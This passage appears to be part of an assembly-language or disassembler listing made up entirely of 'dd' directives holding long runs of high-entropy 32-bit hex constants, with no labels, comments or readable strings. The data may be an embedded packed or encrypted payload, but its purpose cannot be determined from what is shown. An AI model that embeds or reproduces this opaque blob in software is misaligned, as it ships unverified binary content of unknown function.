940B5B07h, 0F9E811B6h dd 20F06521h, 495B10A6h, 0CB4CF80Dh, 6499A5E2h, 0EE4BACBCh dd 36DF8DA2h, 525A8E68h, 1C9D2A04h, 223DC9A6h, 649056A9h dd 0C7C6650Bh, 3B9182BCh dd 100C250Bh, 27FFCB16h, 7C25D300h, 0AA3C0428h, 1C3B4255h dd 0B34D0CDh, 84D1AD70h, 9544EC81h, 1EB3A784h, 1D722484h dd 131F5453h, 33C4903Dh, 681A90DBh, 5222800Eh, 0E1B4F27Ch dd 263946A8h, 2CDDFD4Ch, 22066B8Fh, 0B7EC8BE0h, 1E7C0D19h dd 0BB285130h, 0C868500Dh, 0F5B94745h, 58314C23h, 0D25C334Dh dd 0CB3AA1DBh, 0FD78405h, 44C090ABh, 0C0024C14h, 490D886Dh dd 56C283E8h, 3B812201h, 47DD72D0h, 0A504419h, 1C48A69Bh dd 5A8BC250h, 0B21F14F0h, 68C19939h, 433C8BD7h, 5CF1093Ch dd 4A241889h, 24D59728h, 0CB19331Bh, 33131211h, 0F4730C9h dd 56C4C195h, 52B00609h, 4EB371Ch, 0A8446B81h, 0E88A13DEh dd 7D942F1Bh, 0BBA00BDAh, 20A7100Dh, 0D7FF8808h, 0E209E928h dd 184394EDh, 881C452Eh, 13FEF529h, 8308CCCh, 116F3093h dd 0F2F83493h, 0FC345123h, 0E04915FFh, 0A0BE123Dh, 7B8D1940h dd 175E3932h, 4097E08h, 89FAD3CBh, 3B4E7839h, 1EF003Ch dd 0D8BEA75h, 513FC148h, 85501D89h, 1A90E80Fh, 0C70C8B30h dd 1F4C6805h, 46EB4088h, 17C65CA1h, 8344C33Bh, 190C4029h dd 0E50F5074h, 32204A65h, 1F821D22h, 24A960A1h, 484D9749h dd 3C0A6A18h, 53406853h, 4067C316h, 8155C4E9h, 0C717E492h dd 8268DBE8h, 0D0B15B5Eh, 0AC8D55E0h, 0E0B02824h, 50B8319Bh dd 249EE861h, 0FE0D6A32h, 5AE49068h, 0C44650D4h, 89A1640Ah dd 2569EA84h, 311C02h, 0C533F845h, 1F4C8589h, 49B0F7A6h dd 6428F0FEh, 890F24A3h, 8BC7E865h, 0BE681BFCh, 2683062h dd 19CCE861h, 0FE4227B6h, 889A9A46h, 0D81186BFh, 64AF0F1Eh dd 255F0D0Eh, 46B53837h, 0F41722ACh, 2E0B51B8h, 1142A0DDh dd 1CBD9906h, 0D8201E2Bh, 0B9995542h, 0CFBFD30h, 9881F9F7h dd 3045C2Fh, 74921589h, 52D27B40h, 8243FA4h, 0D74E5BF6h dd 0FAD1514Ch, 8A5068B4h, 19D4B458h, 14DCE809h, 95898980h dd 0F0C392B0h, 4DB5F0F6h, 0A124C2ACh, 0B4856354h, 91BF2727h dd 1E41BD53h, 5DE0D88Bh, 355F6B8h, 32FA83E4h, 0C2E86273h dd 44CE0C1h, 0C0031B75h, 0A888D904h, 0C9855F80h, 0FF83487Eh dd 16734002h, 85BD8C89h, 34428B39h, 9301C783h, 0BCB8C93Dh dd 79A34BA8h, 2450FB1Bh, 8AFDB0B5h, 42506E29h, 3B037784h dd 8B0576CBh, 0F8CB49D9h, 1E96EB16h, 0BC458D81h, 0AFC7D906h dd 1EFE130Ch, 0A54D8D14h, 0F959C05h, 858A522Bh, 83093F56h dd 0B70201C3h, 68021829h, 712046B9h, 1290358Dh, 0E4338110h dd 7FDF231Dh, 5253D7A6h, 120448D0h, 778917FBh, 0C8A08425h dd 4602FDC6h, 0E6C174E0h, 3A9C6A3h, 83048AF6h, 24BC6BEh dd 668D2D58h, 3C57499Ah, 28F57C84h, 5480C41Ah, 865CD845h dd 48C7B844h, 80911A07h, 50B2EB15h, 0AD99904Dh, 0A1ADD10Fh dd 0F505AE9h, 0A3875584h, 8AD4CE02h, 694F828h, 6F2B884Eh dd 72A5F82Eh, 0B27A2727h, 0BE5C033Fh, 76D8860Fh, 38B8529Ch dd 57C4FFF7h, 9A4AFF2h, 44CA79C4h, 7229786Ch, 87C43122h dd 458E8D61h, 780C0A4Fh, 2B87480Fh, 762D1282h, 0A8486442h dd 16E5C416h, 16A56937h, 1837A1C5h, 0FAA60236h, 8B940C52h dd 0FBD18201h, 0E8510A06h, 34A9C43Ch, 6E0DA04h, 805DA2DDh dd 0F693AC01h, 74860929h, 0DF91A15h, 0E4458200h, 2A8B4801h dd 87D7E918h, 29A0858Ah, 743A473Ch, 0B6503508h, 4623E225h dd 0C4060ACCh, 3E1AB58Dh, 8AD87502h, 0CFA38406h, 5A2203Ch dd 0EEEB2268h, 143E8031h, 86B98B26h, 0E2C1D08Ah, 8DBA3AFAh dd 84A09514h, 0D15D99CAh, 0DB61167Ah, 58876281h, 0E1C1C861h dd 148D5307h, 0E8522094h, 49118F68h, 68076A04h, 309EA1CCh dd 21702879h, 75634FB6h, 78A2206h, 87FE8B29h, 2F3C1087h dd 8B4A0C45h, 0EB435B08h, 1D2C66EAh, 9EF82C04h, 2BC81EC1h dd 8AAA81F7h, 91772ED6h, 872869E9h, 401110DEh, 1B4F5D9Ch dd 0F4EF4D97h, 4F53500Eh, 185D1750h, 68FCE1ABh, 28BD853Ah dd 567AA475h, 7691A2A1h, 9714DADh, 0C6CC45h, 75DB855Bh dd 14C76607h, 0C0C8C550h, 2101E410h, 0E7361AFDh, 6433BD24h dd 0F817097Dh, 80251443h, 0A4729BFAh, 783CB623h, 8814C62Bh dd 4D150594h, 0D2EB1495h, 7850C820h, 0CEFC6C2h, 41359020h dd 80213AC8h, 1D42108Ah, 8BC121D2h, 3ECEA1F1h, 4F78BD28h dd 243488D0h, 0E9895CF6h, 0EE815002h, 3E13B83h, 45C3A4A4h dd 0E0B888C4h, 89A9498h, 0D64BB14Eh, 0AC0813F0h, 4D698568h dd 8B5831F3h, 9851CCECh, 4C0FA453h, 40132652h, 4E3329EFh dd 0F4B284B6h, 11081D35h, 0F3E91301h, 0A797C356h, 200C1609h dd 9B981489h, 2134C045h, 0D42EDA9h, 169C31B4h, 36B89BB3h dd 0C15CB6E6h, 0A619DBCh, 55E888Dh, 8D88E89h, 6D4AB806h dd 9668A120h, 0BCA183BBh, 0E2CCAFE8h, 8DE5DD9Ah, 3919A486h dd 92C5497Eh, 433C4546h, 37956F6Ah, 0A5128DEAh, 24A49FA2h dd 5D4AA071h, 0BA6174C2h, 0C16161Dh, 8F05BC80h, 742B0A2Bh dd 0D591E1Eh, 840E25F1h, 0EB318C88h, 0E925898Ah, 0D2C04987h dd 6C3ACCBh, 0D05599DCh, 0FE5B2F4Dh, 73D03B06h, 1550A27Ch dd 75242019h, 0DC10496Ah, 159C8D81h, 3A23A191h, 0BEC38B42h dd 3280EE36h, 6764133Ch, 0FB04C638h, 88F65E91h, 0D8944875h dd 7331F03Bh, 3A335E78h, 4AEB615Ch, 0E9CE046Dh, 8535F069h dd 911275E8h, 0D627CB8Bh, 0F2DC5858h, 0BD648CB3h, 5F9106F5h dd 97948974h, 32AA9508h, 0C64448A7h, 74607108h, 4A448DCEh dd 2979C733h, 40AFF44h, 0AEC8B70Fh, 8A2A331Ch, 1469D29Eh dd 0F3A04399h, 8429849Dh, 5351C974h, 0ECAD93C1h, 8B2D080Ah dd 27D61775h, 1F58587Ah, 0A1939BF2h, 841EA1E9h, 0CAFB63E9h dd 137B499Ah, 883C3F21h, 808FB14h, 2183F185h, 1774C05Fh dd 0E90D76A5h, 0E948B10Bh, 9D32EF37h, 828D03B8h, 88357505h dd 69C60DA7h, 8B04EC12h, 84A7A202h, 7836EF1Ch, 10850B70h dd 433CB205h, 0A6D3C341h, 9295221Dh, 0D5558819h, 9217932Eh dd 0E7E5D445h, 1E4C9838h, 9676E88Fh, 0B60F0307h, 3B349795h dd 3FC61052h, 31504111h, 316406D9h, 68129442h, 846184D4h dd 3A311497h, 0B20A1927h, 2824123Ah, 70487392h, 1EE6E98Eh dd 28D44D2Eh, 89E14C9Eh, 611EEB18h, 0E73DC021h, 1444D8B3h dd 5E44C372h, 1D900FEBh, 980C7B1h, 11EA3C4Dh, 5E8A1404h dd 62F82D12h, 52F5574h, 945F0B3Fh, 8041527h, 68C20FA5h dd 8F081501h, 0F6F279EFh, 0F7D32036h, 0D92346A5h, 1530E805h dd 6558A7CDh, 7501123Ch, 974B4848h, 197796E4h, 8946339h dd 48E07068h, 0C6B28441h, 90187C2Ch, 889842ACh, 36EBC099h dd 7532033Ch, 10B56832h, 96938D56h, 0BC087423h, 3584C110h dd 6E2E5695h, 6CA38C7Ah, 2C7185D4h, 0C2856C9Dh, 99457675h dd 52D45504h, 0E301D59Dh, 9923E97Fh, 3C3C27C4h, 0B20EFB1Ah dd 0EAEE64D3h, 9195E8C7h, 50324A96h, 8C93F6A1h, 2C86610h dd 692AA81Fh, 313BBE2Dh, 10CB40Ch, 8F820F1Ah, 718E0733h dd 64B3662Bh, 339A49E0h, 0FB63EC08h, 0DB847A1Ch, 0A2819021h dd 0C2AD1BB8h, 4829C21Ch, 0B901DA04h, 6E09A632h, 0C27034D2h dd 0E6299844h, 9048EC69h, 2CF973CAh, 0C1521375h, 1C086A5Ah dd 5FEB3550h, 106F0130h, 32012868h, 40DD2E1Ch, 52EB0861h dd 4852AA6h, 3D8D8827h, 88920E91h, 6A018493h, 0C928409h dd 1E82521Dh, 0A750680h dd 0C0968B21h, 8DC20467h, 845EA358h, 0FFD250C3h, 0B3992969h dd 8E671403h, 0B5261FCEh, 82F57878h, 1264BA15h, 29165B62h dd 7B947EBh, 8EC681Ah, 27642444h, 0BFE9F233h, 91C35F88h dd 460C9B2Ch, 0E8E0C278h, 0A2A6EAC7h, 82523D8Ch, 2724D3A8h dd 78830E02h, 7C43601Ch, 7107488Bh, 5274031Dh, 0E5E5273Dh dd 2287136Eh, 0F8845156h, 990552A8h, 96B20C4Fh, 0C852572Ch dd 622469CCh, 290A73Dh, 8E8B2975h, 485A5CB0h, 626C4875h dd 7B924CE8h, 6D200B94h, 5E33F1F4h, 7136214Ch, 6B438479h dd 1021082Bh, 0EC55864Ch, 0F14335E0h, 25A5F213h, 4D6020FEh dd 4B8964F0h, 5935490Dh, 8DFC1058h, 33D02095h, 0B2F3E8CDh dd 0C581252Eh, 0E58B0B68h, 20D85D5Ah, 0CF024A0Ch, 1D0833F0h dd 0EDB8EC8Dh, 146B0638h, 1C25263h, 8029980Fh, 381509FFh dd 0D5D240D0h, 23976A7Fh, 698C8D14h, 30090F56h, 0CAA60D59h dd 0A994C43Eh, 14F45214h, 0B11BD202h, 4020632Dh, 197053D4h dd 65180FA1h, 0B66C2D41h, 26A99713h, 62AD5BD9h, 144204C0h dd 3C44AD26h, 6F0C7F8Bh, 8A101451h, 0D06B9A8Ch, 0C33052C5h dd 1BA32151h, 0B26091C0h, 0ED522B5Ch, 26B5B484h, 8C1170D7h dd 6438CAB1h, 18CA4D8Eh, 561457B2h, 9BA72468h, 2054C5F6h dd 10AC2560h, 0CA5614D4h, 0C3EAC040h, 19225008h, 549988C4h dd 52603224h, 22136887h, 0A290C82Ah, 0DA446A3Dh, 597E01C9h dd 1218090Ah, 0C520251Ch, 7B95993Bh, 0F94DBA24h, 84B9901Ch dd 20E12829h, 803BA902h, 937029C2h, 42D84C4Fh, 848F740h dd 0D8015F6Ch, 52E17003h, 8799CCA7h, 0D3522F74h, 0B835C90Fh dd 5AFF521Dh, 1DF394D6h, 12C7E982h, 641962D4h, 1B2AE52Ah dd 100F1521h, 0D0B9A460h, 68023484h, 8B1DCC30h, 5388380Eh dd 0FD8EAB55h, 0E3656AFDh, 0CE4B914h, 3D0988E8h, 0B76AA31Dh dd 0FFFD83C1h, 8AA4ED30h, 5540D474h, 960966E8h, 27916627h dd 0AC41249Dh, 0E4FF965Dh, 289A5206h, 4B041027h, 57F0F25Ch dd 8A5B1584h, 2402370h, 9A9E856h, 569AF7Ch, 155294EDh dd 1977AE05h, 6552D0CDh, 0D364402Dh, 3624918Bh, 1056368Bh dd 71163445h, 31B0E209h, 0DEF70902h, 0A2B4451Bh, 14448F5Bh dd 730843D1h, 40EE7B4Dh, 8BD455FEh, 0BC4C996Eh, 38221526h dd 0E05B5D22h, 344C840Eh, 34CE130h, 5E483F1Ah, 0D2581E98h dd 2C144813h, 65FA2E4Dh, 33500137h, 2C93E8EDh, 6AF3979Ah dd 4554C244h, 5CD29002h, 9285F884h, 4411A325h, 2CE0C604h dd 64B25853h, 53498F28h, 42544B04h, 4301C583h, 6B7E994Ch dd 0C4D3263Bh, 8C623442h, 629A015Ch, 4C330D85h, 50EF1460h dd 0D3975F99h, 75105703h, 0A98CFA0Fh, 4998050Fh, 2AEBE246h dd 3A0F8A66h, 1B39A6E2h, 9E504514h, 10D52058h, 0DE8823Bh dd 6A3A5CFEh, 738E486Dh, 8732799Bh, 464C215Bh, 937CEE43h dd 3540924h, 245D3991h, 0C42DB25h, 9E5A1A52h, 0ED20580Fh dd 597AE059h, 176096F6h, 68A722BBh, 0DCD7B33Ch, 154C5C38h dd 4F14C806h, 92EB74ABh, 21CE614h, 68E7D9EBh, 1F02D50Dh dd 681C9548h, 0A60F133Fh, 141C22DBh, 6202D8Bh, 0DB85D802h dd 0FC647F74h, 742341A1h, 0F9F5056h, 2C489185h, 5A5763C6h dd 0FF9F0287h, 32320493h, 98BCC628h, 2C17CA78h, 5230C4FAh dd 0DE7F83A3h, 8A1F6A1Ah, 57C9860Fh, 5034483Dh, 0A7501C3h dd 0EA424FFAh, 35A469B2h, 3C5F4C64h, 0E85E6ED5h, 0C3530993h dd 10082015h, 2E0CD101h, 8B18AA8Ch, 88FC64BDh, 11D6205Dh dd 52040E45h, 0DE51DD72h, 0F51C9F70h, 1A57CA2Dh, 55418B37h dd 0BD9A4E12h, 2456C811h, 4A8C14EDh, 56274919h, 24187024h dd 24E88988h, 68EBFC22h, 8A521237h, 588D4225h, 0B0A840Bh dd 0D1A51C26h, 0CBFC5364h, 8F100264h, 0A41D2160h, 3F7489C9h dd 126A6018h, 5DA7C898h, 5C2B2692h, 114E0223h, 0D38D1021h dd 5FD16E5Eh, 0D0532022h, 565E52A8h, 0EF22B9CCh, 3789CE26h dd 6889CD37h, 5766A154h, 0E5F697E8h, 500A093Eh, 0D524DE1Eh dd 0A05CA35Fh, 8D022CA0h, 0F9352817h, 533C9423h, 402C0D15h dd 7A551CE3h, 859FDB2Bh, 82FD3BF8h, 142BB4BEh, 253842C6h dd 0BD359B55h, 99480113h, 49B24F48h, 4E1B100Ah, 97A45CAAh dd 8369256h, 24F53B18h, 11576F74h, 0C95B0Ch, 2C841B29h dd 26AF508Dh, 0AFBB0802h, 22E0EB56h, 30442C09h, 2A92F934h dd 0A33E173Ch, 9980255Eh, 82343C97h, 76D48A6Ch, 6F32E648h dd 1C0A0C3Ch, 57834ED0h, 1CAC4975h, 74C35D8Dh, 26DD8B02h dd 0CEAE2023h, 4D008BF2h, 0C34A7ADCh, 8FC0444h, 0D4122C22h dd 8F9129CCh, 661EFF33h, 7B93DA01h, 3001D4D4h, 565080D2h dd 7D2E9293h, 42A20516h, 0A95D9659h, 79A8C735h, 46585E2h dd 840DE883h, 0E0E20A05h, 9E9CA193h, 0D2C120AAh, 5E1060Bh dd 3B830F84h, 16049422h, 19C2C033h, 0D5686068h, 0E82C8903h dd 4ABCAF16h, 0C100A18h, 2442088h, 0F8102C22h, 83489FBh dd 444284EEh, 5010E421h, 5C44DA88h, 0DC13D022h, 7811C622h dd 4284BC08h, 10B2218Ch, 44A88898h, 119E22A0h, 849408ACh dd 8A21B842h, 8088C010h, 401F57A4h, 220DCC54h, 0CC8FBD73h dd 110DD8AAh, 0E0507A66h, 42845C0Ah, 105221E4h, 444888ECh dd 113E22F4h, 3425C604h, 0C3184C47h, 961D08E6h, 4906A8FAh dd 21895070h, 3D24B846h, 8DBE1BB7h, 509BE814h, 0FEE6A9CBh dd 0F6710B88h, 904CE90Fh, 568B6156h, 364D3372h, 0C10C36FAh dd 8B11E174h, 5C502535h, 7191A366h, 94476B28h, 0B9881464h dd 8A7F9501h, 90910A04h, 34818670h, 980A5210h, 4C8C14B9h dd 0D652FF0Ah, 44EFACACh, 31843AFEh, 0A00BF5C5h, 0F23E05E7h dd 0C25ED607h, 80380B08h, 1A8D0320h, 4631D1Ch, 9974AE22h dd 21C4262h, 4ECB98D1h, 4A18425Eh, 16A66065h, 8D6B683Bh dd 9A59494Ah, 0EFBE884h, 20279DF2h, 202C9524h, 95117EE8h dd 19C94492h, 82806C12h, 25410420h, 0D204B8D8h, 0F748FB7Eh dd 63285ADDh, 83C7FB47h, 0FC44936Fh, 0EDB53675h, 301D4D7Eh dd 0E711A055h, 8403828h, 480C4E95h, 15CF4B10h, 348CCA34h dd 239DE847h, 0E20AEBE0h, 6F0C8238h, 80571FBh, 4440320h dd 617B21EAh, 34EA0405h, 0FF1FC861h, 73B82536h, 21A8430Ch dd 0D21088A4h, 8320C44h, 0C20D0419h, 84D1FC18h, 0F421F843h dd 0ECC8F090h, 24481465h, 32E464E8h, 0CDC19E0h, 0D45486D8h dd 4386D006h, 97C422CCh, 554BB844h, 50DD2FB0h, 24C0A975h dd 23C3DEBh, 1490E853h, 469E7676h, 6B3867E4h, 59298713h dd 48207412h, 5A06E856h, 0FD75D914h, 8222280Dh, 7112D5E8h dd 0D2F2CE7h, 657A02EBh, 6A346087h, 0B0680C17h, 643176B1h dd 65A04F6Ah, 8757E58h, 94353B1Ch, 770015E4h, 0E8046A22h dd 1902B437h, 6CFC2E59h, 1E79182Ch, 5F458917h, 0E8C961E4h dd 1E6C4609h, 73CC8CF0h, 453457C3h, 0C6C23B15h, 839F806Ch dd 2D0FE0FDh, 69199F87h, 8A0014F8h, 3539F633h, 0AA15607Ch dd 1875FD8Bh, 23C3E810h, 0D21E6A1Dh, 2D2CAC1Ch, 0D1DD6B68h dd 77B80729h, 0ED88A19Ah, 0E78E65Ah, 474EE01h, 3EBC58Bh dd 5640A342h, 4AF89EB6h, 18BB0B75h, 0C63BEB53h, 176F597Bh dd 0E834FB3Ch, 73C78347h, 0F0E7270Fh, 0BB591E88h, 412ED326h dd 60392675h, 5821841h, 0F2465FD5h, 83D39DE8h, 81660FFCh dd 0DB8907EBh, 3889CA23h dd 7A9D4BAh, 5B8ABE5Eh, 0B33FAD5Dh, 0B359457Bh, 0C72B38BFh dd 0CAC40C27h, 0D0E55D59h, 0B8EC35C9h, 0E70C0D0Eh, 7DA3104Dh dd 0F8C1EB08h, 1EC603D1h, 0BA76FE3Bh, 820FF804h, 817ED1A4h dd 25262F9h, 3D831F72h, 0D6B7A984h, 105C3456h, 0E639928Fh dd 5F5E4AE2h, 80C4443h, 0BBC7E95Dh, 0B9B8EBF7h, 0B0157516h dd 0E27B83CDh, 800F9E6h, 0A5F32A72h, 249524FFh, 12173D54h dd 0BA870A90h, 0E983011Eh, 0D60C7204h, 0C8E3C6E3h, 68853208h dd 8D0E313Ch, 11204664h, 7889E87Fh, 9A40B99h, 0D12310C8h dd 88061D8Ah, 1460E07h, 0C7947AEh, 12B1B602h, 0C7C640B6h dd 0BCC5EA9h, 2C498D14h, 0A0265DA4h, 449807EDh, 0A4902CA6h dd 2436D024h, 9FD03C6Eh, 4BC644E9h, 938640Fh, 91284830h dd 44182220h, 8B880810h, 0E48E1D44h, 328F1D89h, 912EE811h dd 12E9EC22h, 22912EF0h, 0F812E9F4h, 0FC22912Eh, 4728DE8h dd 30E92B1h, 6DF84AF0h, 0F58A8B67h, 44096C46h, 428A8C78h dd 0C948A15Fh, 0A24990C3h, 0FE460C0Eh, 0A4451243h, 0F55125Bh dd 318D2C18h, 7CD03174h, 854ED239h, 0D892443h, 0FC18DCD4h dd 843EF0F1h, 6AD9F724h, 0F0E9A09Eh, 0F94494A9h, 0F4102B62h dd 0F022863Dh, 0B04663Eh, 50450928h, 1B03DC92h, 0A424E03Fh dd 0EF643EEEh, 5B96B232h, 0D424A0D1h, 7CEEE3ACh, 0FFB8455h dd 6D289029h, 32B44E4Bh, 92EFBCEEh, 567641B3h, 5C1A0165h dd 0AC0FA433h, 44B40922h, 0CC89C4BCh, 0E724D412h, 1C226C55h dd 181191E9h, 17148974h, 74109148h, 48170C89h, 89740891h dd 3C491704h, 0E024AC9Ch, 0C8F0923Fh, 2C911809h, 0B8D09052h dd 8C4FB645h, 885E1045h, 0BC951443h, 2D0D3BB1h, 2750F80h dd 91E942F3h, 0B4125D21h, 3BC9D4C0h, 4863CDE8h, 0A512742Dh dd 722DF701h, 0EDF58DF1h, 77111080h, 580D6A0Ch, 368BC332h dd 5042F4Ch, 6A0C9044h, 3B01590Eh, 23C01BC8h, 8D083C1h dd 0DDE827C3h, 68336D9h, 4405B0B8h, 85CA1343h, 0C8EB411h dd 0E7C60C97h, 0A7978B73h, 8C3F89D6h, 0B559198Dh, 0BFC0BE61h dd 0F330A511h, 0C274C971h, 850453B0h, 69742ED2h, 0C38A1216h dd 960B8451h, 19FA8116h, 40A0EF6h, 2829E905h, 0F909D0BDh dd 3084FA83h, 0E848C531h, 0C7409ADh, 7C8052Bh, 0E7E94B88h dd 0E0C7207Bh, 42E90308h, 0CA241007h, 0D94180D5h, 0ABF30674h dd 280AB394h, 0C34CEA88h, 0DC3645Fh, 0D092A404h, 1BEE2084h dd 4968EB8h, 88DEE43Ah, 43A9034Fh, 10A46840h, 12509394h dd 0AF958C11h, 0EA50CF8Ah, 0CA380F2Eh, 210BA072h, 20E47D83h dd 8CFD375Eh, 750AEB8Ah, 0C30F4492h, 332EB99Eh, 0E6FC8BCEh dd 0E8161AC4h, 98965BEh, 90CC54C6h, 3C891D75h, 0B22A5906h dd 39D1B881h, 200083ECh, 39DB3353h, 7578105Dh, 3994E837h dd 0C71C01DAh, 0E8C31618h, 270D4B80h, 27073B51h, 8B21BCE9h dd 3B0C4D05h, 0B64756CBh, 0F3872174h, 65E81D61h, 51212F5Bh dd 0B853EB61h, 427FA652h, 77C023C2h, 0AA4DAB03h, 18A78357h dd 28E0E38Dh, 36C2140Ch, 145B42ECh, 0E8FAA590h, 0E0085067h dd 8F295452h, 8BA6F837h, 1A7419F8h, 747858FFh, 880DE00Fh dd 630CEB18h, 34E5813Bh, 6CF94927h, 54099204h, 22D6FCFFh dd 140CCAE3h, 38E8C304h, 0CCEDD568h, 9D510CD1h, 101EFDC8h dd 4DB20CB4h, 8257A16Ah, 8656DCDFh, 6406E89Eh, 1010CEE0h dd 26F4590h, 0B992E49Eh, 0B9E8A538h, 459B2853h, 7C414495h dd 26439D97h, 3E96C629h, 291CCE9Ch, 31862895h, 35131B25h dd 0EC9335C0h, 29C2084h, 86D08DCEh, 70ED9E21h, 1511163Dh dd 37B54A04h, 1FA560FDh, 22855A43h, 3E8C0610h, 45A9C352h dd 45BB32D1h, 6D213A11h, 0CE306ACCh, 0DD0E668Ch, 0AB2113C3h dd 1D85280Dh, 190BEBF0h, 86027306h, 3B04C6BDh, 4E72B05Ah dd 4EB8A6EFh, 250F3909h, 26BB11F9h, 0D1464025h, 0EB720C08h dd 5645F424h, 0CEF009AEh, 0FCA72122h, 5701940Fh, 0B931021h dd 58AC6ACFh, 0D04AA150h, 43BD3E0h, 89DA74C6h, 0D152BF01h dd 8837BA10h, 0F27091C6h, 39281E5Ch, 74063835h, 0DC0D8BDBh dd 82859811h, 0BCDE413Ch, 1A144D63h, 0E8090868h, 0B6C43322h dd 0E0AC0BFEh, 8C401482h, 68803264h, 0EA119240h, 0D70BDF24h dd 0B895E536h, 54759648h, 0B6B33CC3h, 31E93125h, 151CBE42h dd 20BF7006h, 0C73B040Fh, 9A0F7359h, 4BF72E00h, 49E8D237h dd 1B742701h, 0E80A4068h, 6BA432B7h, 71950C4Fh, 1604E9A5h dd 58C39309h, 83F0583Fh, 15186B84h, 2F312152h, 30FC98C9h dd 390A433Bh, 0C214101Dh, 32BC7E9Fh, 608A110Ch, 0C408A21Ah dd 0C27D3911h, 0D7415B52h, 0AD5641B4h, 0D696041Eh, 22B0421Ch dd 4D06929Fh, 4A60C8F0h, 832674E4h, 1704EE33h, 72B3F73Bh dd 1D3EDB1Bh, 4C8BF090h, 3B4773E8h, 0E53DDA98h, 2D722857h dd 0DAEBB080h, 0C450682Ah, 0EC44B829h, 5FE3208h, 8586859h dd 22445410h, 21E6CA24h, 1410901Fh, 0D2988928h, 290B0022h dd 0D229F4AFh, 0A0B1E0A8h, 0C8747E1Fh, 2499233h, 0D217DB8Ah dd 2463E1B1h, 112C0C3Fh, 11146F1Ch, 42B80121h, 0FE24E89Fh dd 0FFE57F1h, 1DE28972h, 5BBE7D60h, 1075581Dh, 10831A2Eh dd 8435EF0Ch, 0D922086Ch, 44C90CA5h, 2133B906h, 3D083254h dd 44DBC18Ah, 79621413h, 0C4A3248Ch, 0B65E6506h, 0B48C710Ah dd 2484C338h, 0E451A8D2h, 0B85378E2h, 0A3CA9574h, 9AE99282h dd 4FBE890h, 72573Fh, 85FC7B8Dh, 0BA6E76FFh, 95A49A6Ah dd 0CD0446C9h, 8057CEC1h, 513A529Dh, 4D7506FCh, 19FD508Ah dd 0E3DE3C41h, 0FE1822F8h, 0E2DF2641h, 48FF0421h, 24FC3B10h dd 123C830Bh, 8B1D04h, 3FEBC272h, 4033B60Fh, 0A74908FFh dd 451546A6h, 3CD2D3FEh, 3D5DFD24h, 0FC453222h, 9328D2D3h dd 0E0DDC76Eh, 3A148D85h, 409BC011h, 8ED6FF41h, 0EC8C4819h dd 0C6DDD43Fh, 81E150E1h, 0C12B0906h, 0FA42F2EBh, 4A56D41Eh dd 1F4817E7h, 0DBC5473h, 0C9691260h, 37043FDh, 0C3C1810Bh dd 31158D9Eh, 0E8A1027Fh, 46E22510h, 0C15A0774h, 0DB791499h dd 3412027h, 35166073h, 5793189Ch, 0F883BF01h, 0C46FC6FEh dd 0CD29FA38h, 7410FD00h, 4E8B000Dh, 33CF0304h, 0E82F380Ch dd 7945E3BDh, 5246E61Ah, 0AD211008h, 0F6285431h, 0D667C96h dd 0F8631FE0h, 83150C6Bh, 0B8DFEFDh, 71548D30h, 18083604h dd 53072078h, 8D5E74FCh, 0A6456DD5h, 2C71486h, 10675CA7h dd 0F93B03A6h, 0D7E07571h, 384C2CE8h, 0E774815h, 7FAF7C01h dd 5714A3D9h, 75E87187h, 0B88D6FCDh, 1E979AFEh, 0C8364787h dd 0F518C526h, 9777560h, 0EB22C2BDh, 2889A0C6h, 5633981h dd 75E06D73h, 0A88D822Ah, 50217410h, 25E80868h, 7C442F2Ch dd 4A9FB09Ah, 2794D63Dh, 190B3C62h, 6CC12CD2h, 37E6E82Ch dd 419E203Ch, 740C6839h, 1F4CD213h, 0C838D572h, 6418D3E8h dd 5982144Bh, 89C950Ch, 56C4F79Ah, 8AE83A30h, 864B10A1h dd 7CE9D7A6h, 7B831273h, 84F5040Ch, 31F2D450h, 63BACB52h dd 39933156h, 15AD15E9h, 8DC400D9h, 782BD292h, 0D0F71D70h dd 0C48B8723h, 3CF00625h, 72243B7Fh, 590FCA0Ah, 0D301F294h dd 2DC32404h, 85C24A2Eh, 9AE913E6h, 0E81D0433h, 4D78F761h dd 0EB840642h, 0CA30E77Fh, 21D92C35h, 3E52270Eh, 4B8D7930h dd 10954814h, 968E44C9h, 2FA22530h, 883D2225h, 0F77A2005h dd 8300C81Ah, 0C46C6F1h dd 633A46B8h, 8F1CB5E8h, 0B30ECA12h, 0A0ECC6Ch, 4921F768h dd 0D3BC0EFh, 9169F988h, 0F5A4F07Ah, 48851085h, 0E8938070h dd 51CB3FD4h, 320DE06h, 0CA8053Bh, 3F53B5Bh, 6D58200Ah dd 48385073h, 72DD204h, 0EA02708Eh, 6C2C37C3h, 0EB4801C7h dd 0B5083532h, 0F1D6F10h, 13C25EC6h, 82DB4F9h, 41A6CE59h dd 488D0600h, 288346BFh, 98E219F9h, 1E2067D8h, 0F779F70Ah dd 23FFF442h, 1BD6FCC1h, 0DAD0EFDAh, 4E65B05Fh, 10CB325Eh dd 0F04DFF98h, 72F10498h, 86F50EAh, 0F2F82EFEh, 0DE84F547h dd 0C1383204h, 72474ABh, 2460F6F8h, 634AFD70h, 3D5089E9h dd 81907DF2h, 2B75FB16h, 0B236A711h, 0EB9B1FA8h, 39F0F0F2h dd 75140958h, 6349570Dh, 4B29A840h, 5634EB17h, 2511E56h dd 5051048Ch, 1B932FE8h, 8B203EFFh, 62072464h, 92912A1Dh dd 0C3921147h, 0D21DF03Ah, 84FB2A2Bh, 614D405Ch, 8942C482h dd 4E2E56D3h, 1E301C28h, 0BC373075h, 0CA821F54h, 654B73F5h dd 63976411h, 484C1B8Bh, 65DC2C0Ch, 0B522E913h, 849F7856h dd 36E34A92h, 0BC9F2CA1h, 81F5B4F0h, 8A565357h, 0C7D56A11h dd 0D16FC593h, 0F6DD0171h, 0F7EA33DFh, 0ADEC1435h, 0C23A1F02h dd 38AC17D3h, 6A90D3Eh, 130A100Dh, 2409F375h, 1311C25Fh dd 0E9F09F13h, 0F8FF7E8Dh, 84020461h, 272874E4h, 75C43A90h dd 6741F2BEh, 76186D03h, 0C16FF066h, 0EBDF4323h, 6F6460ABh dd 5DE9C28Ah, 478DF8A8h, 51BFF69h, 613C768h, 141CF504h dd 5750100h, 135ABEE8h, 12151061h, 2207722Fh, 0C459FD69h dd 813366C3h, 80401A3Dh, 1B755A4Dh, 133CA133h, 0F83B8FAh dd 0C1B4550h, 0EA382275h, 840B2618h, 3183173Dh, 760E1574h dd 1AC933C8h, 17E88839h, 8472097Fh, 0BEE4C38Dh, 10681160h dd 41AD3BE5h, 0F6484729h, 4704902Dh, 36D85214h, 6E9445BFh dd 1D8B9C03h, 642B7F10h, 0EDF83DD3h, 9D89470h, 52E8126Ah dd 0E959126Ah, 8940818Ah, 15188D3Eh, 6ADD4B0Ch, 0E2A2A79h dd 